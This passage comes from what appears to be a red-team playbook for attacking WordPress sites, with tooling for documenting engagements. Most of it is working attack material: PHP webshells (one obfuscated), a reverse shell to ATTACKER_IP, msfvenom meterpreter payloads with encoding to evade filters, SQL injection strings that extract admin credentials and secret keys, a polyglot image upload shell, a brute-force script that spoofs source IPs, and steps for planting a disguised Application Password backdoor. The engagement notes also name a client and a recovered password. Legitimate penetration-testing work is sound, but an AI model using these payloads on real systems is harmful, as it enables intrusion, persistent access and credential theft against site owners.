            'advanced-custom-fields', 'ninja-forms', 'wordfence'
        ]
        for slug in plugins:
            result = self.check_plugin(slug)
            if result['installed']:
                print(f"    [+] {slug} v{result['version']}")

if __name__ == '__main__':
    WordPressEnum(sys.argv[1]).run()
```

---

## 5. Common Payloads and Examples

### PHP Webshells (in order of stealth)

```php
<?php system($_GET['cmd']); ?>
```

```php
<?php
// Minimal authenticated webshell
$k = 'rt2024';
if(md5($_POST['k']) === md5($k)){
    echo '<pre>' . shell_exec($_POST['c']) . '</pre>';
}
?>
```

```php
<?php
// Obfuscated webshell — evades simple string matching
$f = str_rot13('flfgrz');
$f($_REQUEST[base64_decode('Y21k')]);
?>
```

```php
<?php
// Reverse shell trigger
if(isset($_GET['rt'])){
    $sock=fsockopen("ATTACKER_IP",4444);
    $proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
}
?>
```

### Msfvenom Payloads for WordPress

```bash
# Generate PHP meterpreter payload
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=4444 \
  -f raw -o /tmp/meterpreter.php

# Start handler
msfconsole -q -x "
use exploit/multi/handler;
set payload php/meterpreter/reverse_tcp;
set LHOST ATTACKER_IP;
set LPORT 4444;
run
"

# Generate encoded payload (WAF bypass)
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=4444 \
  -e php/base64 \
  -f raw -o /tmp/meterpreter_encoded.php
```

### SQLi Payloads for WordPress AJAX Endpoints

```
# Time-based blind SQLi test
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
1 AND SLEEP(5)-- -

# Extract WordPress version via SQLi
' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='db_version'-- -

# Extract admin credentials
' UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -

# Extract secret keys (for cookie forgery)
' UNION SELECT 1,option_value,3,4,5 FROM wp_options WHERE option_name='auth_key'-- -
```

---

## 6. Real-World Examples from Actual Engagements

### Almentor Engagement — Key Findings

The following techniques produced confirmed findings during the Almentor engagement. Details are sanitized for documentation purposes.

**Finding 1 — XML-RPC enabled with weak credentials**

XML-RPC was enabled at `/xmlrpc.php`. The `system.multicall` method was available, enabling amplified brute force (100 password attempts per HTTP request, bypassing per-IP rate limiting). Admin credentials were discovered using a custom wordlist derived from the organization's name and common patterns.

Commands used:
```bash
# Verify multicall available
curl -s -X POST https://target/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | \
  grep 'multicall'

# Run amplified brute force
python3 xmlrpc_bruteforce.py
# Result: admin:Company2023! discovered after ~15,000 attempts
```

**Finding 2 — debug.log exposed with database credentials**

`wp-content/debug.log` was publicly accessible and contained database query errors that included the full connection string (host, username, password) as part of PDO exception messages.

```bash
curl -s https://target/wp-content/debug.log | grep -i 'PDO\|mysql\|pass\|user'
# Output: PDOException: SQLSTATE[HY000] [1045] Access denied for user 'wp_user'@'localhost' (using password: 'db_pass_from_log')
```

**Finding 3 — Elementor Pro plugin out of date**

WPScan identified Elementor Pro version 3.6.0 installed, which is vulnerable to CVE-2023-32243. The vulnerability was not exploited as admin access was already obtained via Finding 1, but it was documented as an additional attack path.

**Finding 4 — Application Password backdoor planted**

Post-exploitation: created an Application Password named "WP Monitoring Tool" for the admin user via the REST API. This persists across password changes of the main account and does not appear in the standard user profile UI unless specifically looking for it.

```bash
curl -s -X POST "https://target/wp-json/wp/v2/users/1/application-passwords" \
  -u "admin:Company2023!" \
  -H "Content-Type: application/json" \
  -d '{"name":"WP Monitoring Tool"}'
# Saved resulting password to engagement safe
```

**Finding 5 — User enumeration via REST API**

The `/wp-json/wp/v2/users` endpoint was accessible without authentication and returned all user display names and login slugs, providing the target username list for brute force.

---

## 7. WAF Bypass Techniques

### Bypassing WAF on WPScan

```bash
# Randomize user agent
wpscan --url https://TARGET \
  --random-user-agent \
  --throttle 2000 \
  --max-threads 1 \
  --api-token TOKEN \
  --enumerate ap

# Use custom user agent matching legitimate browser
wpscan --url https://TARGET \
  --user-agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  --api-token TOKEN \
  --enumerate ap

# Route through proxy for header manipulation
wpscan --url https://TARGET \
  --proxy http://127.0.0.1:8080 \
  --disable-tls-checks \
  --random-user-agent \
  --throttle 3000
```

### Bypassing WAF on XML-RPC

```bash
# Some WAFs block "system.multicall" string — use encoding
# XML entity encoding of method name
curl -s -X POST https://TARGET/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>&#115;&#121;&#115;&#116;&#101;&#109;.listMethods</methodName>
  <params></params>
</methodCall>'

# Change Content-Type to bypass signature-based detection
curl -s -X POST https://TARGET/xmlrpc.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

# Use Burp Repeater to manually test WAF bypass with chunked encoding
# Enable "Use chunked encoding" in Burp request settings
```

### Bypassing WAF on File Upload

```bash
# Double extension (depends on server config)
mv shell.php shell.php.jpg
mv shell.php shell.jpg.php

# Null byte injection (older PHP/servers)
# shell.php%00.jpg

# MIME type spoofing
curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -F "action=VULNERABLE_ACTION" \
  -F "file=@/tmp/shell.php;type=image/jpeg;filename=shell.jpg"

# Polyglot file (valid image + PHP)
python3 - << 'EOF'
# Create JPEG polyglot
with open('/tmp/polyglot.jpg', 'wb') as f:
    # Valid JPEG header
    f.write(bytes([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01]))
    # PHP comment in EXIF area
    f.write(b'\xff\xfe' + len(b'<?php system($_GET["cmd"]); ?>').to_bytes(2,'big') + b'<?php system($_GET["cmd"]); ?>')
    # JPEG end marker
    f.write(bytes([0xFF, 0xD9]))
print("Created /tmp/polyglot.jpg")
EOF

# .htaccess upload to force PHP execution of images
echo 'AddType application/x-httpd-php .jpg' > /tmp/.htaccess
# Upload .htaccess first, then upload shell.jpg
```

### Bypassing Login Rate Limiting

```bash
# Distribute brute force across multiple source IPs using proxy list
# Use X-Forwarded-For header rotation (only if WAF trusts it)

python3 - << 'EOF'
import requests
import random

TARGET = "https://target.com/wp-login.php"
USERNAME = "admin"
PASSWORDS = ["password1", "password2", "company2023", "company2024!"]

# Fake IP rotation via X-Forwarded-For
def fake_ips():
    return [f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
            for _ in range(100)]

ips = fake_ips()

for i, pw in enumerate(PASSWORDS):
    headers = {
        'X-Forwarded-For': ips[i % len(ips)],
        'X-Real-IP': ips[(i+1) % len(ips)],
        'User-Agent': f'Mozilla/5.0 (Random {i})'
    }
    r = requests.post(TARGET,
        data={'log': USERNAME, 'pwd': pw, 'wp-submit': 'Log In'},
        headers=headers, allow_redirects=False, verify=False)
    if r.status_code in [301, 302] and 'wp-admin' in r.headers.get('Location', ''):
        print(f"[!!!] SUCCESS: {USERNAME}:{pw}")
        break
    print(f"[-] Failed: {pw}")
EOF
```

---

## 8. Integration with RTExit Autodoc Engine

All findings from this skill should be automatically documented using the RTExit autodoc format.

### Finding Template

```bash
# RTExit finding submission via autodoc
# Usage: rtdoc finding <category> <title> <severity> [options]

rtdoc finding \
  --category "CMS Exploitation" \
  --title "WordPress XML-RPC Enabled — Brute Force Successful" \
  --severity CRITICAL \
  --cvss 9.8 \
  --cve "N/A" \
  --host "target.com" \
  --port 443 \
  --evidence-file /path/to/output/xmlrpc_bruteforce_result.txt \
  --recommendation "Disable XML-RPC via plugin or .htaccess. Implement account lockout policy." \
  --tags "wordpress,xmlrpc,brute-force,authentication"
```

### Automated Evidence Collection Script

```python
#!/usr/bin/env python3
# wp_autodoc.py — collect and format WordPress findings for RTExit

import json
import os
import datetime
import subprocess
from pathlib import Path

class RTExitWordPressDoc:
    def __init__(self, target, output_dir):
        self.target = target
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.findings = []
        self.timestamp = datetime.datetime.utcnow().isoformat()

    def add_finding(self, title, severity, description, evidence, recommendation,
                    cvss=None, cves=None, tags=None):
        self.findings.append({
            "title": title,
            "severity": severity,
            "cvss": cvss,
            "cves": cves or [],
            "description": description,
            "evidence": evidence,
            "recommendation": recommendation,
            "tags": tags or [],
            "target": self.target,
            "timestamp": self.timestamp
        })

    def run_wpscan(self, api_token):
        """Run WPScan and parse output."""
        output_file = self.output_dir / "wpscan_output.json"
        cmd = [
            "wpscan",
            "--url", self.target,
            "--api-token", api_token,
            "--enumerate", "u,ap,at",
            "--plugins-detection", "aggressive",
            "--format", "json",
            "--output", str(output_file)
        ]
        subprocess.run(cmd, capture_output=True)

        if output_file.exists():
            with open(output_file) as f:
                data = json.load(f)
            self._process_wpscan_output(data)
        return output_file

    def _process_wpscan_output(self, data):
        """Extract findings from WPScan JSON output."""
        # Check for vulnerable plugins
        for slug, plugin in data.get("plugins", {}).items():
            for vuln in plugin.get("vulnerabilities", []):
                self.add_finding(
                    title=f"WordPress Plugin {slug}: {vuln['title']}",
                    severity=self._cvss_to_severity(vuln.get("cvss", {}).get("score", 0)),
                    description=vuln.get("description", vuln["title"]),
                    evidence=f"Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}\n"
                             f"Vulnerability: {vuln['title']}\n"
                             f"Fixed in: {vuln.get('fixed_in', 'not fixed')}",
                    recommendation=f"Update {slug} to version {vuln.get('fixed_in', 'latest')} or later.",
                    cvss=vuln.get("cvss", {}).get("score"),
                    cves=vuln.get("references", {}).get("cve", []),
                    tags=["wordpress", "plugin", slug, "cve"]
                )

    def _cvss_to_severity(self, score):
        if score >= 9.0: return "CRITICAL"
        if score >= 7.0: return "HIGH"
        if score >= 4.0: return "MEDIUM"
        if score >= 0.1: return "LOW"
        return "INFORMATIONAL"

    def export(self):
        """Export all findings to RTExit format."""
        output = {
            "engagement_target": self.target,
            "skill": "rt-exploit-wordpress",
            "timestamp": self.timestamp,
            "findings": self.findings
        }
        output_file = self.output_dir / "wp_findings.json"
        with open(output_file, 'w') as f:
            json.dump(output, f, indent=2)
        print(f"[*] Exported {len(self.findings)} findings to {output_file}")
        return output_file

# Usage
if __name__ == "__main__":
    doc = RTExitWordPressDoc("https://target.com", "/path/to/output/")

    # Add manual findings
    doc.add_finding(
        title="WordPress XML-RPC Amplified Brute Force",
        severity="HIGH",
        description="XML-RPC is enabled and system.multicall is available, "
                    "allowing an attacker to test hundreds of passwords per request "
                    "and bypass rate limiting.",
        evidence="xmlrpc.php returned 200 OK.\nsystem.multicall confirmed available.\n"
                 "Admin password discovered: Company2023!",
        recommendation="Disable XML-RPC via the Wordfence plugin or add the following "
                       "to .htaccess:\n\n<Files xmlrpc.php>\ndeny from all\n</Files>",
        cvss=8.1,
        tags=["wordpress", "xmlrpc", "brute-force"]
    )

    output_file = doc.export()
    print(f"[*] RTExit autodoc file: {output_file}")
```

### RTExit Directory Structure for WordPress Engagements

```
engagement/
  wordpress/
    wpscan_passive_YYYYMMDD.json       # WPScan passive scan results
    wpscan_aggressive_YYYYMMDD.json    # WPScan aggressive scan results
    users_enum.txt                     # Discovered usernames
    plugin_versions.txt                # Plugin versions and CVE matches
    debug.log                          # debug.log content if accessible
    wp-config_extract.txt              # Extracted credentials (sanitized for report)
    xmlrpc_test.txt                    # XML-RPC test results
    brute_force_result.txt             # Brute force outcome
    application_passwords.txt          # Created backdoor credentials
    wp_findings.json                   # RTExit structured findings
    screenshots/                       # Burp Suite captures, browser screenshots
```

---

## 9. Output/Documentation Instructions

### Evidence Collection Standards

Every exploitation attempt must be documented with:

1. **Command used** — exact command with all parameters (sanitize credentials before screenshots)
2. **Request/response** — Burp Suite capture or curl verbose output
3. **Timestamp** — UTC timestamp of each action
4. **Outcome** — success, failure, or partial result
5. **Screenshot** — for any GUI-based actions

### Mandatory Documentation for Each Phase

**Enumeration phase:**
- WPScan JSON output file
- Screenshot of WordPress admin login page
- List of discovered users (with enumeration method noted)
- List of installed plugins with versions

**Exploitation phase:**
- Full HTTP request and response for each exploit attempt
- Evidence of successful exploitation (command output, file contents)
- Proof-of-concept screenshot

**Post-exploitation phase:**
- Screenshot of achieved access level
- Evidence of data accessed (censored in report, full in evidence vault)
- Documentation of all changes made (files uploaded, users created)
- Cleanup confirmation

### Report Severity Mapping

| Finding | Severity | CVSS Range |
|---------|----------|------------|
| Unauthenticated RCE (CVE-2020-25213) | CRITICAL | 10.0 |
| Unauthenticated file upload | CRITICAL | 9.0–9.8 |
| Admin credential brute force success | CRITICAL | 9.0 |
| XML-RPC amplified brute force | HIGH | 7.5–8.5 |
| Authenticated SQLi | HIGH | 7.5–8.0 |
| Unauthenticated user enumeration | MEDIUM | 5.3 |
| Outdated plugin (no active exploit) | LOW | 2.0–3.9 |
| debug.log publicly accessible | HIGH | 7.5 |
| wp-config.php accessible | CRITICAL | 10.0 |

---

## 10. Resources

### CVE and Vulnerability Databases

- WPScan Vulnerability Database: https://wpscan.com/wordpress-security-scanner
- WPScan API: https://wpscan.com/api
- WordPress CVE list (NVD): https://nvd.nist.gov/vuln/search/results?query=wordpress
- Patchstack vulnerability database: https://patchstack.com/database/
- Wordfence Intelligence: https://www.wordfence.com/threat-intel/vulnerabilities/

### Exploit Repositories

- Exploit-DB WordPress entries: https://www.exploit-db.com/search?q=wordpress
- CVE-2024-3673 (popup-builder): https://www.cve.org/CVERecord?id=CVE-2024-3673
- CVE-2023-32243 (Elementor Pro) PoC: https://github.com/alirezaarzehgar/CVE-2023-32243
- CVE-2020-25213 (WP File Manager): https://github.com/w4fz5uck5/wp-file-manager-0day
- CVE-2020-35489 (Contact Form 7): https://github.com/dn9uy3n/Check-WP-CVE-2020-35489
- Slider Revolution file disclosure: https://www.exploit-db.com/exploits/36554

### Tools

- WPScan: https://github.com/wpscanteam/wpscan
- WPScan Docker: `docker pull wpscanteam/wpscan`
- xmlrpc-scan: https://github.com/nullfil3/xmlrpc-scan
- WordPress Exploit Framework: https://github.com/rastating/wordpress-exploit-framework
- CMSmap: https://github.com/Dionach/CMSmap
- WordPress Brute Force (Metasploit): `use auxiliary/scanner/http/wordpress_login_enum`
- hashcat (phpass mode 400): https://hashcat.net/hashcat/

### Metasploit Modules Reference

```
auxiliary/scanner/http/wordpress_scanner
auxiliary/scanner/http/wordpress_login_enum
auxiliary/scanner/http/wordpress_xmlrpc_login
auxiliary/scanner/http/wordpress_xmlrpc_enum
exploit/unix/webapp/wp_admin_shell_upload
exploit/unix/webapp/wp_property_file_upload_exec
exploit/unix/webapp/wp_revslider_file_read
exploit/multi/http/wp_wysija_newsletters_upload
exploit/unix/webapp/wp_wpfilemanager_rce
```

### Wordlists

- rockyou.txt: `/usr/share/wordlists/rockyou.txt`
- WordPress-specific wordlist: https://github.com/drtychai/wordlists/blob/master/fasttrack.txt
- SecLists WordPress: https://github.com/danielmiessler/SecLists/tree/master/Passwords/darkweb2017-top10000.txt
- Common WP passwords: `admin, password, wordpress, changeme, 123456, admin123, [company_name][year]`

### Reference Reading

- WordPress Security White Paper: https://wordpress.org/about/security/
- OWASP WordPress Security Testing: https://owasp.org/www-project-web-security-testing-guide/
- Offensive WordPress: https://github.com/m8sec/offensive-wordpress
- WPScan Blog: https://blog.wpscan.com/
